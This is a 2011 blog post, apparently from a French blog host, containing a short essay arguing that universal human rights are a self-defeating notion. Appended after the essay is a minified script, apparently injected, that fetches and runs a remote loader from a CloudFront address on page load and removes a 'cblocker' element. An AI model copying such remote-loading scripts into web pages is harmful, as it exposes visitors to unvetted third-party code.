Editer l'article Suivre ce blog Administration + Créer mon blog
18 août 2011 4 18 /08 /août /2011 09:57

Writing something about Human rights heads me to think about the right to be human, or more precisely the right human. For me the sense of right goes further more than the tiny side of law. It’s more like the complete or absolute comprehension of the concept that I’m discussing to articulate my thoughts.

The right human implies three levels. The right level, first, then the human one. The combination of the two latter makes the third level.

The first implication of ‘right’ starts with the morally good, justified, or acceptable. This sense is closely related to a social construction of the conception of the edges of the “wrong”.  The line is rarely sharp mainly because of the continual dynamic of the social objects.

That means that if we aim to shape the right, we have to overpass the diversity of the wrongs. But, as far as the ‘wrong’ is sealed to social and (then) to psychological behavior, it’s completely illusive to determine all kinds of ‘acceptable’ ways to be(have) human.

The fact of setting this line and tracing it definitely makes it, at the same time, completely obsolete, then, ineffective.  That makes a “universal” set of rules absolutely useless.

Far away from the conspiracy theory framework, I believe that those rules serve only those who decide on them. They are the real expression of the hegemony of certain states on others, and it’s completely fair.

So whenever we want to speak or set up some ‘worldwide rules’, we miss the aim of being right.

The second level is a little bit more ambiguous. Beyond the biological meaning, the human definition can be positive in some cases and negative in others. Thus, the human, compared to god, animal or machines is almost associated to the likelihood of being susceptible to weaknesses: “they are only human”, though the mistake is tolerated.

But we can also notice that the human associated with rationality could embrace some sensitive or kindness qualities, which are, at the end of the day, positive in the majority of cases.

At this point, the social side does not affect or alter those types of definitions. Of course, the technological matter could color social representation of the human. But, that’s another story!

I could not stand the scene of combining right and human. For me, it’s complete nonsense, in the absolute sense.


if(typeof(jQuery)=='undefined'){(function(){var ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();} function ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var http=location.href.indexOf('https://')>-1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});};
Partager cet article